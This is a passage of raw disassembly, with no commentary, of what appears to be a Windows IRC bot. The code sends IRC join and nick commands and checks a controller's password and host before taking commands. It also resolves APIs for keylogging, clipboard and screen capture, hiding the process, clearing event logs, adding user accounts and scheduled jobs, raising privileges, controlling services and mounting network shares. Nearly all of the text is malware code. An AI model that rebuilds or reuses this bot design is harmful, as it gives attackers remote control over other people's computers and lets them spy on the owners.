short loc_4094A3 ; --------------------------------------------------------------------------- loc_40949E: ; CODE XREF: sub_401AC7+79CEj push offset unk_429D38 loc_4094A3: ; CODE XREF: sub_401AC7+79D5j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094D3 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4094D3: ; CODE XREF: sub_401AC7+79EEj lea eax, [ebp+var_2C4] push eax call sub_415CEE add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409477 jmp loc_401F6C ; --------------------------------------------------------------------------- loc_4094EF: ; CODE XREF: sub_401AC7+3D89j ; sub_401AC7+3DA0j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push esi push offset dword_42A2EC push [ebp+arg_4] call sub_40981C push esi push offset unk_429D20 jmp loc_408A7D ; --------------------------------------------------------------------------- loc_409526: ; CODE XREF: sub_401AC7+3D5Bj ; sub_401AC7+3D72j push edi push offset dword_42A250 push [ebp+arg_4] call sub_40981C push edi push offset unk_429D00 jmp loc_408A7D ; --------------------------------------------------------------------------- loc_40953F: ; CODE XREF: sub_401AC7+3D2Dj ; sub_401AC7+3D44j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C push edi push offset unk_429CE0 jmp loc_408954 ; --------------------------------------------------------------------------- loc_40955F: ; CODE XREF: sub_401AC7+3CFFj ; sub_401AC7+3D16j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C push edi push offset unk_429CBC jmp loc_408A7D ; --------------------------------------------------------------------------- loc_409578: ; CODE XREF: sub_401AC7+3152j ; sub_401AC7+3169j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push edi lea eax, [ebp+var_2C4] push offset unk_429C9C push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 1Ch loc_4095AC: ; CODE XREF: sub_401AC7+7B2Dj push eax nop call near ptr 2690000h loc_4095B3: ; CODE XREF: sub_401AC7+2A6Fj xor eax, eax jmp loc_401F6F ; --------------------------------------------------------------------------- loc_4095BA: ; CODE XREF: sub_401AC7+3124j ; sub_401AC7+313Bj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push edi lea eax, [ebp+var_2C4] push offset unk_429C74 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 1Ch imul eax, 3E8h jmp short loc_4095AC ; --------------------------------------------------------------------------- loc_4095F6: ; CODE XREF: sub_401AC7+EA0j ; sub_401AC7+EB5j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_429098 push eax call sub_40AE77 lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_338] push eax push offset unk_429C50 call sub_415D62 loc_409640: ; CODE XREF: sub_401AC7+5206j add esp, 24h loc_409643: ; CODE XREF: sub_401AC7+63Aj ; sub_401AC7+646j ... mov eax, [ebp+arg_24] jmp loc_401F6F ; --------------------------------------------------------------------------- loc_40964B: ; CODE XREF: sub_401AC7+A8Dj ; sub_401AC7+AA0j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F6C cmp [ebp+var_A4], ebx jnz loc_401F6C push offset asc_42CDC8 ; "!" push [ebp+var_90] call sub_41C864 mov esi, eax push offset word_4C91BC push ebx inc esi call sub_41C864 push offset asc_429C4C ; "~" push eax call sub_41C864 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41C7E0 add esp, 20h test eax, eax jz short loc_4096E1 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40981C push edi push esi push offset unk_429BCC jmp short loc_40973D ; --------------------------------------------------------------------------- loc_4096E1: ; CODE XREF: sub_401AC7+7BDFj mov [ebp+arg_24], offset off_429160 loc_4096E8: ; CODE XREF: sub_401AC7+7C3Dj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B706 pop ecx test eax, eax pop ecx jnz short loc_409751 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jl short loc_4096E8 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40981C push edi push esi push offset unk_429B78 loc_40973D: ; CODE XREF: sub_401AC7+7C18j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 30h jmp loc_40830C ; --------------------------------------------------------------------------- loc_409751: ; CODE XREF: sub_401AC7+7C30j mov edi, [ebp+arg_18] xor esi, esi loc_409756: ; CODE XREF: sub_401AC7+7CB9j cmp [ebp+arg_20], ebx jz loc_401F6C cmp [edi], bl jnz short loc_409776 push [ebp+arg_20] push offset aCool ; "cool" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_409787 loc_409776: ; CODE XREF: sub_401AC7+7C9Aj inc esi add edi, 80h cmp esi, 3 jl short loc_409756 jmp loc_401F6C ; --------------------------------------------------------------------------- loc_409787: ; CODE XREF: sub_401AC7+7CADj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BD70 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BE push ebx push [ebp+var_4] push offset unk_429B58 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4097BE: ; CODE XREF: sub_401AC7+7CDBj lea eax, [ebp+var_C4] push eax push offset unk_429B38 loc_4097CA: ; CODE XREF: sub_401AC7+592j ; sub_401AC7+286Fj ... call sub_415D62 loc_4097CF: ; CODE XREF: sub_401AC7+1B74j pop ecx loc_4097D0: ; CODE XREF: sub_401AC7+24E7j pop ecx jmp loc_401F6C ; --------------------------------------------------------------------------- loc_4097D6: ; CODE XREF: sub_401AC7+20Ej ; sub_401AC7+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40981C push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40981C push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 2Ch mov dword_4C91B4, edi jmp loc_401D64 sub_401AC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40981C proc near ; CODE XREF: sub_40194F+3Dp ; sub_401AC7+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C900 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 leave retn sub_40981C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409862 proc near ; CODE XREF: sub_401AC7+503p ; sub_401AC7+1341p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40987D mov edi, offset aPrivmsg ; "PRIVMSG" loc_40987D: ; CODE XREF: sub_409862+14j push edi call sub_41B960 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B960 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_41C100 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4098FB push 7D0h call near ptr 2690000h nop locret_4098FB: ; CODE XREF: sub_409862+8Cj leave retn sub_409862 endp ; =============== S U B R O U T I N E ======================================= sub_4098FD proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270AC push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270CC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A1D push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4C93B0, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4C9324, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4C9308, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4C9218, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4C91C4, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4C91F4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4C926C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4C9364, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4C93C0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4C9224, eax call esi cmp dword_4C93B0, ebx mov dword_4C920C, eax jz short loc_4099FB cmp dword_4C9324, ebx jz short loc_4099FB cmp dword_4C9308, ebx jz short loc_4099FB cmp dword_4C9218, ebx jz short loc_4099FB cmp dword_4C91F4, ebx jz short loc_4099FB cmp dword_4C926C, ebx jz short loc_4099FB cmp dword_4C9364, ebx jz short loc_4099FB cmp dword_4C93C0, ebx jz short loc_4099FB cmp dword_4C9224, ebx jz short loc_4099FB cmp eax, ebx jnz short loc_409A05 loc_4099FB: ; CODE XREF: sub_4098FD+B8j ; sub_4098FD+C0j ... mov dword_4C93C4, 1 loc_409A05: ; CODE XREF: sub_4098FD+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4C933C, eax jz short loc_409A32 push 1 push ebx call eax jmp short loc_409A32 ; --------------------------------------------------------------------------- loc_409A1D: ; CODE XREF: sub_4098FD+1Dj nop call near ptr 26908A7h mov dword_4C93C8, eax mov dword_4C93C4, 1 loc_409A32: ; CODE XREF: sub_4098FD+117j ; sub_4098FD+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26C0000h nop mov edi, eax cmp edi, ebx jz loc_409B47 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4C9360, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4C9310, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4C92A4, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4C93B4, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4C92D4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4C92F4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4C9358, eax call esi cmp dword_4C9360, ebx mov dword_4C9244, eax jz short loc_409AEB cmp dword_4C9310, ebx jz short loc_409AEB cmp dword_4C92A4, ebx jz short loc_409AEB cmp dword_4C93B4, ebx jz short loc_409AEB cmp dword_4C92D4, ebx jz short loc_409AEB cmp dword_4C92F4, ebx jz short loc_409AEB cmp dword_4C9358, ebx jz short loc_409AEB cmp eax, ebx jnz short loc_409AF5 loc_409AEB: ; CODE XREF: sub_4098FD+1B8j ; sub_4098FD+1C0j ... mov dword_4C93CC, 1 loc_409AF5: ; CODE XREF: sub_4098FD+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4C92D0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4C91D8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4C92A0, eax call esi cmp dword_4C92D0, ebx mov dword_4C9288, eax jz short loc_409B52 cmp dword_4C91D8, ebx jz short loc_409B52 cmp dword_4C92A0, ebx jz short loc_409B52 cmp eax, ebx jnz short loc_409B5C jmp short loc_409B52 ; --------------------------------------------------------------------------- loc_409B47: ; CODE XREF: sub_4098FD+144j nop call near ptr 26908A7h mov dword_4C93D0, eax loc_409B52: ; CODE XREF: sub_4098FD+232j ; sub_4098FD+23Aj ... mov dword_4C93CC, 1 loc_409B5C: ; CODE XREF: sub_4098FD+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D15 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4C9374, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4C92B8, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4C9328, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4C9204, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4C9268, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4C92E0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4C9284, eax call esi cmp dword_4C9374, ebx mov dword_4C9294, eax jz short loc_409C05 cmp dword_4C92B8, ebx jz short loc_409C05 cmp dword_4C9328, ebx jz short loc_409C05 cmp dword_4C9204, ebx jz short loc_409C05 cmp dword_4C9268, ebx jz short loc_409C05 cmp dword_4C92E0, ebx jnz short loc_409C0F loc_409C05: ; CODE XREF: sub_4098FD+2DEj ; sub_4098FD+2E6j ... mov dword_4C93D4, 1 loc_409C0F: ; CODE XREF: sub_4098FD+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4C92E8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4C92C0, eax call esi cmp dword_4C92E8, ebx mov dword_4C9370, eax jz short loc_409C4A cmp dword_4C92C0, ebx jz short loc_409C4A cmp eax, ebx jnz short loc_409C54 loc_409C4A: ; CODE XREF: sub_4098FD+33Fj ; sub_4098FD+347j mov dword_4C93D4, 1 loc_409C54: ; CODE XREF: sub_4098FD+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4C92F8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4C91E0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4C91E8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4C924C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4C9250, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4C91FC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4C92C4, eax call esi cmp dword_4C92F8, ebx mov dword_4C91EC, eax jz short loc_409CF8 cmp dword_4C91E0, ebx jz short loc_409CF8 cmp dword_4C91E8, ebx jz short loc_409CF8 cmp dword_4C924C, ebx jz short loc_409CF8 cmp dword_4C9250, ebx jz short loc_409CF8 cmp dword_4C91FC, ebx jz short loc_409CF8 cmp dword_4C92C4, ebx jz short loc_409CF8 cmp eax, ebx jnz short loc_409D02 loc_409CF8: ; CODE XREF: sub_4098FD+3C5j ; sub_4098FD+3CDj ... mov dword_4C93D4, 1 loc_409D02: ; CODE XREF: sub_4098FD+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4C91E4, eax jnz short loc_409D2A jmp short loc_409D20 ; --------------------------------------------------------------------------- loc_409D15: ; CODE XREF: sub_4098FD+26Aj nop call near ptr 26908A7h mov dword_4C93D8, eax loc_409D20: ; CODE XREF: sub_4098FD+416j mov dword_4C93D4, 1 loc_409D2A: ; CODE XREF: sub_4098FD+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409DF6 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4C92F0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4C9348, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4C9350, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4C930C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4C9228, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4C91D4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4C934C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4C91C0, eax call esi cmp dword_4C92F0, ebx mov dword_4C9260, eax jz short loc_409E01 cmp dword_4C9348, ebx jz short loc_409E01 cmp dword_4C9350, ebx jz short loc_409E01 cmp dword_4C930C, ebx jz short loc_409E01 cmp dword_4C9228, ebx jz short loc_409E01 cmp dword_4C91D4, ebx jz short loc_409E01 cmp dword_4C934C, ebx jz short loc_409E01 cmp dword_4C91C0, ebx jz short loc_409E01 cmp eax, ebx jnz short loc_409E0B jmp short loc_409E01 ; --------------------------------------------------------------------------- loc_409DF6: ; CODE XREF: sub_4098FD+438j call near ptr 26908A7h nop mov dword_4C93E0, eax loc_409E01: ; CODE XREF: sub_4098FD+4B9j ; sub_4098FD+4C1j ... mov dword_4C93DC, 1 loc_409E0B: ; CODE XREF: sub_4098FD+4F5j mov ebp, dword_4270C8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0C7 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4C9274, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4C93A8, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4C9214, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4C91F0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4C92B0, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4C9298, eax call esi push offset aSocket ; "socket" push edi mov dword_4C925C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4C9384, eax call esi push offset aConnect ; "connect" push edi mov dword_4C93A0, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4C92AC, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4C9390, eax call esi push offset aHtons ; "htons" push edi mov dword_4C9344, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4C9304, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4C9300, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4C9234, eax call esi push offset aSend ; "send" push edi mov dword_4C922C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4C9354, eax call esi push offset aRecv ; "recv" push edi mov dword_4C9368, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4C931C, eax call esi mov dword_4C92DC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4C9330, eax call esi push offset aListen ; "listen" push edi mov dword_4C92EC, eax call esi push offset aAccept ; "accept" push edi mov dword_4C932C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4C9398, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4C92E4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4C92A8, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4C9318, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4C9388, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4C92BC, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4C9258, eax call esi cmp dword_4C9274, ebx mov dword_4C939C, eax jz loc_40A0D2 cmp dword_4C93A8, ebx jz loc_40A0D2 cmp dword_4C9214, ebx jz loc_40A0D2 cmp dword_4C92B0, ebx jz loc_40A0D2 cmp dword_4C9298, ebx jz loc_40A0D2 cmp dword_4C925C, ebx jz loc_40A0D2 cmp dword_4C9384, ebx jz loc_40A0D2 cmp dword_4C93A0, ebx jz loc_40A0D2 cmp dword_4C92AC, ebx jz loc_40A0D2 cmp dword_4C9390, ebx jz loc_40A0D2 cmp dword_4C9344, ebx jz loc_40A0D2 cmp dword_4C9304, ebx jz loc_40A0D2 cmp dword_4C9300, ebx jz loc_40A0D2 cmp dword_4C9234, ebx jz short loc_40A0D2 cmp dword_4C9354, ebx jz short loc_40A0D2 cmp dword_4C9368, ebx jz short loc_40A0D2 cmp dword_4C931C, ebx jz short loc_40A0D2 cmp dword_4C92DC, ebx jz short loc_40A0D2 cmp dword_4C9330, ebx jz short loc_40A0D2 cmp dword_4C92EC, ebx jz short loc_40A0D2 cmp dword_4C932C, ebx jz short loc_40A0D2 cmp dword_4C9398, ebx jz short loc_40A0D2 cmp dword_4C92E4, ebx jz short loc_40A0D2 cmp dword_4C92A8, ebx jz short loc_40A0D2 cmp dword_4C9318, ebx jz short loc_40A0D2 cmp dword_4C9388, ebx jz short loc_40A0D2 cmp dword_4C92BC, ebx jz short loc_40A0D2 cmp eax, ebx jnz short loc_40A0DC jmp short loc_40A0D2 ; --------------------------------------------------------------------------- loc_40A0C7: ; CODE XREF: sub_4098FD+51Fj call near ptr 26908A7h nop mov dword_4C93E8, eax loc_40A0D2: ; CODE XREF: sub_4098FD+6BEj ; sub_4098FD+6CAj ... mov dword_4C93E4, 1 loc_40A0DC: ; CODE XREF: sub_4098FD+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1E1 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4C9240, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4C91C8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4C92CC, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4C9278, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4C92D8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4C929C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4C9208, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4C9200, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4C9210, eax call esi cmp dword_4C9240, ebx mov ecx, dword_4C929C mov dword_4C9338, eax jz short loc_40A1BD cmp dword_4C91C8, ebx jz short loc_40A1BD cmp dword_4C92CC, ebx jz short loc_40A1BD cmp dword_4C9278, ebx jz short loc_40A1BD cmp dword_4C92D8, ebx jz short loc_40A1BD cmp ecx, ebx jz short loc_40A1BD cmp dword_4C9208, ebx jz short loc_40A1BD cmp dword_4C9200, ebx jz short loc_40A1BD cmp dword_4C9210, ebx jz short loc_40A1BD cmp eax, ebx jnz short loc_40A1C7 loc_40A1BD: ; CODE XREF: sub_4098FD+87Ej ; sub_4098FD+886j ... mov dword_4C93EC, 1 loc_40A1C7: ; CODE XREF: sub_4098FD+8BEj cmp ecx, ebx jz short loc_40A1FC push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4C92B4, eax jnz short loc_40A1FC jmp short loc_40A1F6 ; --------------------------------------------------------------------------- loc_40A1E1: ; CODE XREF: sub_4098FD+7EAj nop call near ptr 26908A7h mov dword_4C93F0, eax mov dword_4C93EC, 1 loc_40A1F6: ; CODE XREF: sub_4098FD+8E2j mov dword_4C92B4, ebx loc_40A1FC: ; CODE XREF: sub_4098FD+8CCj ; sub_4098FD+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A246 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4C928C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4C93BC, eax call esi cmp dword_4C928C, ebx mov dword_4C921C, eax jz short loc_40A251 cmp dword_4C93BC, ebx jz short loc_40A251 cmp eax, ebx jnz short loc_40A25B jmp short loc_40A251 ; --------------------------------------------------------------------------- loc_40A246: ; CODE XREF: sub_4098FD+90Aj nop call near ptr 26908A7h mov dword_4C93F8, eax loc_40A251: ; CODE XREF: sub_4098FD+939j ; sub_4098FD+941j ... mov dword_4C93F4, 1 loc_40A25B: ; CODE XREF: sub_4098FD+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A362 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4C91F8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4C91D0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4C9248, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4C927C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4C9394, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4C9230, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4C91DC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4C91CC, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4C9264, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4C935C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4C9314, eax call esi cmp dword_4C91F8, ebx mov dword_4C9238, eax jz short loc_40A36D cmp dword_4C91D0, ebx jz short loc_40A36D cmp dword_4C9248, ebx jz short loc_40A36D cmp dword_4C927C, ebx jz short loc_40A36D cmp dword_4C9394, ebx jz short loc_40A36D cmp dword_4C9230, ebx jz short loc_40A36D cmp dword_4C91DC, ebx jz short loc_40A36D cmp dword_4C91CC, ebx jz short loc_40A36D cmp dword_4C9264, ebx jz short loc_40A36D cmp dword_4C935C, ebx jz short loc_40A36D cmp dword_4C9314, ebx jnz short loc_40A377 jmp short loc_40A36D ; --------------------------------------------------------------------------- loc_40A362: ; CODE XREF: sub_4098FD+969j nop call near ptr 26908A7h mov dword_4C9400, eax loc_40A36D: ; CODE XREF: sub_4098FD+A11j ; sub_4098FD+A19j ... mov dword_4C93FC, 1 loc_40A377: ; CODE XREF: sub_4098FD+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3AC push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4C9220, eax call esi cmp dword_4C9220, ebx mov dword_4C92FC, eax jz short loc_40A3B7 cmp eax, ebx jnz short loc_40A3C1 jmp short loc_40A3B7 ; --------------------------------------------------------------------------- loc_40A3AC: ; CODE XREF: sub_4098FD+A85j call near ptr 26908A7h nop mov dword_4C9408, eax loc_40A3B7: ; CODE XREF: sub_4098FD+AA7j ; sub_4098FD+AADj mov dword_4C9404, 1 loc_40A3C1: ; CODE XREF: sub_4098FD+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3F6 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4C9380, eax call esi cmp dword_4C9380, ebx mov dword_4C937C, eax jz short loc_40A401 cmp eax, ebx jnz short loc_40A40B jmp short loc_40A401 ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_4098FD+ACFj nop call near ptr 26908A7h mov dword_4C9410, eax loc_40A401: ; CODE XREF: sub_4098FD+AF1j ; sub_4098FD+AF7j mov dword_4C940C, 1 loc_40A40B: ; CODE XREF: sub_4098FD+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A46A push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4C93AC, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4C93A4, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4C936C, eax call esi cmp dword_4C93AC, ebx mov dword_4C923C, eax jz short loc_40A475 cmp dword_4C93A4, ebx jz short loc_40A475 cmp dword_4C936C, ebx jz short loc_40A475 cmp eax, ebx jnz short loc_40A47F jmp short loc_40A475 ; --------------------------------------------------------------------------- loc_40A46A: ; CODE 